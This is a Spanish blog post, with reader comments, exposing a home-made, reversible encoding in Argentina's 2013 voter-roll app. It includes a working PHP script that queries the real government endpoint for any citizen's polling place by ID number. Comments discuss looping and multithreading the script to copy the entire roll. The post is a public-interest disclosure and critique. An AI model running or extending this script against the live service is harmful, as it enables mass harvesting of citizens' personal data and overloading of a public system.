Padrón 2013 o cómo manejar la información desastrosamente.

Hola a todos. Este es mi primer post y aprovecho para presentarme: soy un joven de 16 años, interesado en la seguridad informática, en particular la seguridad web.

Escribo este post preocupado por el tratamiento que se le da a los datos de la población por parte del Estado: estos son manejados de una manera altamente imprudente y están a merced de cualquier persona con un poco de materia gris.

A lo largo del post, mostraré como he descubierto fallas de seguridad fácilmente detectables por cualquier hacker sin un alto nivel técnico.

Todo parte de la aplicación del Padrón 2013 disponible en Google Play, del Ministerio del Interior. Esta nos permite consultar en dónde votamos con solo introducir nuestro DNI y sexo. Colocando un proxy interceptador, o en otras palabras, viendo qué manda y hacia dónde hace la conexión la aplicación para verificar la existencia en el padrón, pude descubrir que esta hace requests por GET a un subdominio de mininterior.gov.ar. Estas siguen la siguiente estructura:

http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%23v%23gWHVDcQRVR51kp%23RFjTqNGNK5mTsNCp%23HhTOUF1InNyZ
http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%238%231R1AHUUVEp%23NRVR41EVFhXTTplp%23j%23hFj%232BVVwMyZ
http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%23v%23gWHVDcQRVRw4EVVFjTqllMK5mTsNCp%23HhTOSd2InNyZ

req
Como se puede apreciar, el query está encriptado (como veremos después de una manera altamente insegura) en algo que parece base64 (un algoritmo de encriptación reversible, es decir, no seguro) para que no nos sea muy fácil realizar consultas a la base de datos del padrón arbitrariamente.

¿Cuál es el siguiente paso?

Las aplicaciones de Android, están programadas en Java, este lenguaje es fácilmente decompilable, por lo que se puede obtener con alta precisión el código original. Una vez obtenido el .apk de la aplicación Padrón 2013, hay que convertirlo a un archivo .java para que pueda ser decompilado.

decompile

Ya obtenido el archivo .java de la aplicación del padrón, podemos inspeccionar el código de esta śin ningún problema. Aquí es cuando podemos ver cómo se realizan las consultas:

makeconnect
Se llama a una url con un path de “ws_escuela.php?param=” y “dni=342324233&sexo=M|F”, este último encriptado (el sexo va a ser M o F, no M|F vale la pena aclarar).

Procedemos a inspeccionar el código de la función .codificar(). El mismo es:

codificar

Acá es cuando una persona que está en el tema de la programación y que sabe algo de seguridad y de criptografía se agarra la cabeza. Nunca, pero nunca deben inventarse estos algoritmos: es reinventar la rueda, pero MAL, MUY MAL. Después de ordenar un poco esta maraña de código ininteligible, podemos saber cómo encripta los datos esta función:

  1. Recibir una string (va a ser del tipo “dni=342324233&sexo=M|F”)
  2. Encode base64.
  3. Reemplazar ‘a’ por #t.
  4. Reemplazar ‘e’ por ‘#x’.
  5. Reemplazar ‘i’ por ‘#f’.
  6. Reemplazar ‘o’ por ‘#l’.
  7. Reemplazar ‘u’ por ‘#7’.
  8. Reemplazar ‘=’ por ‘#g’.
  9. Reverse.
  10. Encode base64.
  11. Reemplazar ‘a’ por ‘#j’.
  12. Reemplazar ‘e’ por ‘#p’.
  13. Reemplazar ‘i’ por ‘#w’.
  14. Reemplazar ‘o’ por ‘#8’.
  15. Reemplazar ‘u’ por ‘#0’.
  16. Reemplazar ‘=’ por ‘#v’.
  17. Reverse.

Pasando este pseudocódigo a cualquier lenguaje de programación, se pueden realizar queries arbitrariamente a la base de datos del Padrón, con los riesgos que esto conlleva: podemos pedir la información de cualquier persona, por ejemplo, del DNI nro. 1: http://wsp.mininterior.gov.ar/ws_escuela.php?param=v%23v%23gWHVDcQRVRtNmMWRjY6FjT sin otorgar ninguna otra información, solo un número de DNI y el sexo, sin captcha, sin nada que nos limite.

A continuación, un POC hecho por Javier Smaldone (@mis2centavos):

<?
#This PHP script requires the cURL library
function encode($str) {

    $str = base64_encode($str);
    $str = str_replace('a', '#t', $str);
    $str = str_replace('e', '#x', $str);
    $str = str_replace('i', '#f', $str);
    $str = str_replace('o', '#l', $str);
    $str = str_replace('u', '#7', $str);
    $str = str_replace('=', '#g', $str);
    $str = strrev($str);
    $str = base64_encode($str);
    $str = str_replace('a', '#j', $str);
    $str = str_replace('e', '#p', $str);
    $str = str_replace('i', '#w', $str);
    $str = str_replace('o', '#8', $str);
    $str = str_replace('u', '#0', $str);
    $str = str_replace('=', '#v', $str);
    $str = strrev($str);

    return $str;
}

function query($url){
 
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 20);
    $result = curl_exec($ch);
    curl_close($ch);
    return $result;
}

function show($dni, $gender){
    if (($gender == 'M') or ($gender=='F')) { 
        $dni = intval($dni);
        $params = "dni=$dni&sexo=$gender";
        $encoded=urlencode(encode($params));
        $url = "http://wsp.mininterior.gov.ar/ws_escuela.php?param=$encoded";
		$result = query($url);
        $data = explode("|",$result);
        if ($data[0] == 'ok') {
            echo('<h2>Resultado</h2><ul>');
			echo("<li><b>DNI:</b> $dni</b></li>");
            echo("<li><b>Mesa:</b> $data[1]</li>");
            echo("<li><b>Escuela:</b> $data[2]</li>");
            echo("<li><b>Domicilio:</b> $data[3]</li>");
            echo("<li><b>Localidad:</b> $data[4]</li>");
			echo("<li><b>Provincia:</b> $data[5]</li></ul>");
        } else {
            echo('<p>Error al consultar el padrón</p>');
        }
    } else {
        echo('<p>Datos incorrectos</p>');
    }
    echo('<h2>Nueva consulta</h2>');
   
}

function form(){
    echo('<form name="query" action="" method="get">');
    echo('DNI: <input type="text" name="dni">');
    echo('Sexo: <select name="gender">');
    echo('<option value="M">Masculino</option>');
    echo('<option value="F">Femenino</option>');
    echo('</select><br><input type="submit" value="Consultar"></form>');  
}

echo('<!DOCTYPE html><html><body><h1>Padrón electoral</h1>');

if (isset($_GET['dni']) and isset($_GET['gender']))  
   show($_GET['dni'], $_GET['gender']); 
  
form();

echo ('</body></html>');

?>

Una vez que mandamos esa string correctamente encriptada al servidor, si hay un matching, nos va a devolver una string con el siguiente formato:

<status>|<mesa>|<escuela>|<dirección de la escuela>|<localidad de la escuela>|<provincia de la escuela>|<session id>|<nro. de orden>|<documento>|

En el caso de no haber una persona con ese nro. de DNI, este va a ser el formato:

<status>|<session id>|

Así es como el gobierno cuida de nuestros datos.

Entonces, ¿qué es lo grave de esto?

El que se pueda consultar el Padrón de una manera “pirata” no es lo más importante de esto, el problema principal acá es el manejo inseguro que se hace de nuestros datos de parte del gobierno en muchas (o casi todas) las aplicaciones gubernamentales que manejan datos sensibles. Esto lo que hace es que surjan grupos como Anonymous, que no necesitan tener un alto nivel técnico para vulnerar estos sistemas, sino que los programadores contratados vulneran solos las aplicaciones, como vimos en el caso de la homemade encryption.

Como comentario final, debo decir que esto no constituye ninguna hazaña ni mucho menos: fue muy fácil lograr esto, y teniendo en cuenta que no tengo un background en reverse engineering, fue muy simple.

Se agradece la enorme ayuda proporcionada por Javier Smaldone (@mis2centavos).

Espero que les haya gustado el post, sin más que decir,

Saludos.


41 comments

  1. una pregunta, a que informacion que no sea accesible desde la pagina oficial del padron se puede acceder? es decir, la informacion que mostras ahi es publica, se puede acceder desde la aplicacion oficial. no veo el problema.
    que pueden acceder a todos haciendo un programa que vaya probando todos los dni? es como preocuparse porque alguien pueda hacer un programa que guarde en una base de datos todos nuestros tuits.

    • Hola, toda la información es accesible desde la página padron.gob.ar, pero de esta manera ni siquiera hace falta elegir en qué provincia está la persona del DNI. En otras palabras, desde padron.gob.ar tenés que hacer un máximo de 50 intentos para encontrar la información de una persona (son 25 locaciones posibles: 23 provincias más CABA y Argentinos en el exterior y 2 sexos); en cambio, se necesitan de solo 2 intentos por nro. de DNI para encontrar la información de esta manera.

  2. Hilando un poco más finito, podríamos hacer un favor al gobierno y hacer un ‘backup’ de esa base de datos en nuestras computadoras, por si se les rompe el sistema alguna vez…

      • Seguramente ahí se podrá ver si por lo menos filtran intentos por IP, si hay un tiempo mínimo entre consulta y consulta, etc.
        Además, estaría interesante saber qué tiempo demora tener todo el padrón replicado modificando el script de mis2centavos agregándole un for de ahí exportando al formato que más le guste a cada uno. Puede ser un BD, en CSV, planilla de cálculo, e infinitas opciones más.

  3. Y, el problema ahí sería que PHP no está diseñado para multi threading o para hacer las conexiones rápidamente, pero habría que hacer el script en Python y usar Twisted, así lo haríamos volar. Modifiqué el script de mis2centavos pero para pedir linealmente, de a uno por vez, los dnis y tarda bastante, las limitaciones de PHP…

  4. Podes ejecutar otro tipo de query que no sea un select ? podes cambiar algún campo de la bd ? podes borrar registros ? si no podes, entonces esto no me preocupa en lo absoluto, ya que son datos públicos los que estas obteniendo.

    • No se trata de que estén expuestos datos públicos, sino del tratamiento de los datos.
      Este desparpajo, ¿es porque son datos públicos? ¿deben tratarse de esa manera por ser públicos?

  5. La diferencia principal entre lo que está el padron.gob.ar y esto, es que esto permite automatizar facilmente la copia de toda la base (saltea el captcha), y así permitir un análisis automatizado y a posterior (si después dan de baja padrón.gob.ar).

    Si van a hacer algo para hacer un backup, como la mayoría del tiempo seguro se va en esperar la respuesta del servidor, vale la pena hacerlo multithread. Seguro hay cosas en cualquier idioma (python, ruby, etc) para hacer esto facilmente.

  6. Hoy estuve tratando de buscar algo en el padrón. Todos ustedes jugando… Jeje…. Se colgó la web. ahora hay como 1000 programadores tirando peticiones al server…
    han causado un problemita evidentemente
    Que ganas…

  7. Ahora, esta forma de hacer la consulta no trae el Nombre y Apellido ni URL de la foto o cosa similar. Supongo que debe haber un diferencia entre la query de la app y la del site.

  8. Hola buena investigación, pero para mi no representa un fallo de seguridad, pues es información publica y podes acceder a ella de distintas forma.

    Saludos

    • Totalmente de acuerdo. Se puede criticar como esta programado. Como el 99% de los sistemas desarrollados en Argentina. Pero esta información tiene el resguardo que tiene que tener. Es informacion publica. Saca algo de la AFIP y hablamos.

  9. Lo que hicieron mal es que no estan distinguiendo humanos de robots (i.e. no pusieron un captcha). Ninguna primitiva criptografica provee eso. No se por qué este post se preocupa por la codificación. Sí es cierto que son unos inútiles, intentaron hacer security through obscurity y dejaron los java sin obfuscar.

      • A lo que apunto es que aunque encriptaran (digamos usando AES), la clave estaría embebida en la app, asi que eso no evitaría que cualquiera pueda realizar consultas.
        No estoy sacando el mérito al post (que lo tiene, porque facilita la codificación no estándar que usan), pero quería dejar en claro que esto no es una falla de seguridad. La falla está en otro lado (como dije antes: en que no hay un captcha).

  10. Hola, en general ante fallas de seguridad generalmente no se recomienda anunciar y publicar los defectos encontrados, sino primero avisar a los responsables para que tomen acción antes de que algún atacante aproveche maliciosamente la vulnerabilidad, y luego de eso sí publicar todo lo que uno quiera y apuntar con dedos.

    Sería como publicar en el diario “mengano tiene la puerta de su casa abierta” en lugar de primero avisarle a mengano para que la cierre (y después publicar todo lo que uno quiera criticando que mengano había dejado la puerta abierta irresponsablemente).

    Dicho eso, en este caso puntual dudo que alguien diera mucha pelota 😛

    http://www.oia.org.ar/
    http://exactas.uba.ar/
    http://www.dc.uba.ar/

    • Hola. Sí, estoy de acuerdo con vos. Publiqué la falla directamente porque en mi experiencia de reportar vulnerabilidades, es muy poco el volumen de gente que responde ante estos avisos y, el gobierno no está incluido entre ellos.

  11. No es ninguna falla de seguridad lo que encontraste. Oscurecen la info, pero no hay forma de hacerlo bien. Si hubieran usado un cifrado simétrico, ponele, AES, tendrían que haber incluido la clave ahí en el APK. Lo único criticable es que así alguien en el camino puede enterarse de qué DNIs se consultan, eso sí puede evitarse poniendo en el APK una clave pública (o usando TLS, claro).

    • Hola. A mí sí me parece que hay fallas de seguridad: uno no puede manejar estos datos de esta manera, tendrían que por lo menos ofuscar la app Java, usar https, usar captchas. De esta manera estás haciendo que cualquiera pueda mandarse un script y bajarse toda la info del Padrón.

      Saludos.

  12. Ante todo me preocupa mucho mas que esto, las personas que critican este tipo de posts. Aca el autor al cual NO conozco, informa, explica, detalla, etc. Dedicó su tiempo y conocimiento para informarnos de esto, lo cual les guste o no, la información sensible mal manejada es algo que está pésimo. Ahí vi una tal Claudia que indica que si no se pueden alterar los registros de la base no le preocupa. A los que nos dedicamos a seguridad informática nos preocupa que por estas cosas existan personas que no se preocupen. Pero no importa. Gracias a esas personas que, cuando queremos encontrar información sensible, siempre la terminamos encontrando.

  13. Es importante a mi entender ya que los datos que se manejan son patrimonio nacional, ergo son los datos de todos nosotros y así como ustedes accedieron tan fácilmente también lo pueden hacer desde cualquier parte del mundo, y en materia seguridad le estariamos regalando nuestros datos a cualquier foraneo que le interese conocer la base de la nación.
    No es por paranoia ni nada de eso, solo que en materia políticas de seguridad esto contradice todos los principios.

    Muy interesante el análisis!

  14. Pingback: Denuncian una falla del padrón electoral que permite bajar las fotos de los electores - RedUSERS

  15. Si bien lo que encontraste no es la GRAN falla de seguridad, esta muy bueno tu laburo porque hace tomar un poquito de conciencia sobre lo que hacemos los programadores y las consecuencias que pueden tener. Sobretodo para gente que maneja datos del gobierno, deberían tener auditorias donde checkeen la calidad del codigo y medidas de seguridad aplicadas sobre datos sensibles. Si bien lo que hoy encontraste no jode tanto, de esto a poder bajar data de la sube y stalkear a quien se te cante no falta mucho… A tomar conciencia! Muy bueno todo el desarrollo

  16. Che, pero eso es el .java posta o te tomaste el laburo de desofuscarlo? porque ahi lo atroz es que este el archivo asi nomas cuando esta manejando requests que, en teoria, son posteriores a un proceso de identificacion (como mencionaste).

    Me gusto mucho el post, la verdad. Es muy copado ver gente que se sienta un ratito y chusmea con wireshark o similares que cosas hacen las apps. Vos decis que es un analisis de un nivel tecnico bajo, pero yo no lo comparto. Las ganas de sentarse y husmear y pasar n tiempo analisando output y otras cuestiones son parte super cotidiana del laburo en seguridad informatica. De hecho, en mi experiencia, pocas veces hay que ‘Hackear la Gibson’. La mayoria de las veces solo hay que trapear el vomito.

    10/10. Alto post.

    • Hola, muchas gracias.

      Básicamente obtuve el .apk, lo pasé con dex2jar a un .jar y de ahí inspeccioné el código con jd-gui. El único problema que tuve fue con una clase que no la tomaba jd-gui que la tuve que decompilar con jad. Pero no, nada de deofuscar.

      Saludos!


Leave a reply to makhno89 Cancel reply